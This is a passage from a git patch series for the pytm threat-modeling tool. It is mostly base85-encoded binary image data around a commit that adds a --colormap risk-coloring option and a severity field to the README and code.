z`bRs}DddO){Lf_nYy6^@krS&kUsnX8MD{sJ5Ua=GYt1Lat;oPlylN=S@f4Wjk(XCT
zw*wkRcY6QLs{~RQbF&&nca19G_K5EbD8(IRhyA=^{IEP=2Wt%UsHnWyGrn9IBcj*R
z8?cjQ0-6;?tX25fV~=<AYwf*h<uAuVWln67EUjG{o>O@6ZeX7)KcsSE<G;3<ZB$yl
z4Z`cACZw`pCug6vr*$vZroniIeyKq^O>eVva!zUZhe|t6&mM<skV#fQm@KH=w?BS0
zR4+1~slhs8wcg8cq_t#Lo-A0=$TC~cXv2ml@M{Onc9@J)hl?l8vQ1r`<gW3<0mago
zzP97E*TV&#WgU#`-&9J}T`bRhvK{iwX=JOKTwLZNz+Uv3`2*8cC)G80%W6$fv~qvz
zUT+AX0<Y$Ua7Vk`X6~u-<kvK1N)#od;g4^SaQ5pGBu=G7nY_zX8MHrRJ9(<*6X+PN
z;3xI;f;pR~Hh5Vn^R}?K<%y!^^0THw)9eG}DZ%H!%LUyhXc|gKW1N@xG7kb`01a!8
zS*(;gZ~4UedW0D-@3u1rf{aZZy`4|jeJO_uy0mJa6VpqQnq`2VKUyiG?)cK?E74dH
z#!7CIt!J>|BMWh4UGqK7hGj#Ci&Vy_nP2DoWBGxx>={dD``hKK80u>5!KFRVKh^oK
z>pUq^0$cGTn}=Kf<#8>;Em~sby?L1$>F=|SsXCnZab|B<f6l2h7KlI3u$-2jk*JK~
z@*_@$A9EwhhCVdKx}PQT#L8xd$6~jAC6uL2mqpbwPNxY8DNF7je?c7{iL&K~mAgYN
zJZLAZqdZrFan%IEr)XR9kMn}af2tO;x{n8Jeu~0en>o<Yl{@U07I0yt)`k{Z=o<F|
zFHzJZjUiJ{r^E}>9z_uL0b>^wz&Rf;LF5giC#Dj{V=E|aTT93%d=GRo9GNh#s;ly#
zq({mJ`t>SI>McR5U;)aP?E2si`CJf5`)QkSkcA`6h!X2}Q;Dvc%X)W2*jcT_$<Tv>
zk*eZ=ZAg?^yEsbZU$wn~dtACKUKvGZO8;-O{7se5t~u%S3<b=fH+I_LLd+J*7jocx
PD#HFS#k$tYKmLCJxm=*!

literal 0
HcmV?d00001


From b241ee5d8413505c3bfdc1803ffd8a0f3e7e1c7f Mon Sep 17 00:00:00 2001
From: Izar Tarandach <izar.tarandach@gmail.com>
Date: Mon, 18 Dec 2023 13:00:24 -0500
Subject: [PATCH 81/86] Added colormap functionality to dfd

---
 README.md              |   7 ++++
 foo.png                | Bin 0 -> 61811 bytes
 pytm/pytm.py           |  89 +++++++++++++++++++++++++++++++++--------
 test.txt               |   6 +++
 tests/dfd.dot          |  10 ++---
 tests/dfd_level0.txt   |   6 +--
 tests/dfd_level1.txt   |   4 +-
 tests/output.json      |  21 +++++++++-
 tests/test_pytmfunc.py |   7 ++--
 9 files changed, 119 insertions(+), 31 deletions(-)
 create mode 100644 foo.png
 create mode 100644 test.txt

diff --git a/README.md b/README.md
index a7383456..5399cd8a 100644
--- a/README.md
+++ b/README.md
@@ -76,6 +76,7 @@ optional arguments:
   --exclude EXCLUDE     specify threat IDs to be ignored
   --seq                 output sequential diagram
   --list                list all available threats
+  --colormap            color the risk in the diagram
   --describe DESCRIBE   describe the properties available for a given element
   --list-elements       list all elements which can be part of a threat model
   --json JSON           output a JSON file
@@ -113,6 +114,9 @@ Element class attributes:
 
 ```
 
+The *colormap* argument, used together with *dfd*, outputs a color-coded DFD where the elements are painted red, yellow or green depending on their risk level (as identified by running the rules).
+
+
 ## Creating a Threat Model
 
 The following is a sample `tm.py` file that describes a simple application where a User logs into the application
@@ -282,10 +286,13 @@ user_to_web.overrides = [
         threat_id="INP02",
         cvss="9.3",
         response="""**To Mitigate**: run a memory sanitizer to validate the binary""",
+        severity="Very High",
     )
 ]
 ```
 
+If you are adding a Finding, make sure to add a severity: "Very High", "High", "Medium", "Low", "Very Low".
+
 ## Threats database
 
 For the security practitioner, you may supply your own threats file by setting `TM.threatsFile`. It should contain entries like:
diff --git a/foo.png b/foo.png
new file mode 100644
index 0000000000000000000000000000000000000000..685b90f6932687bd6ecc019f866270a9b00e3e1a
GIT binary patch
literal 61811
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
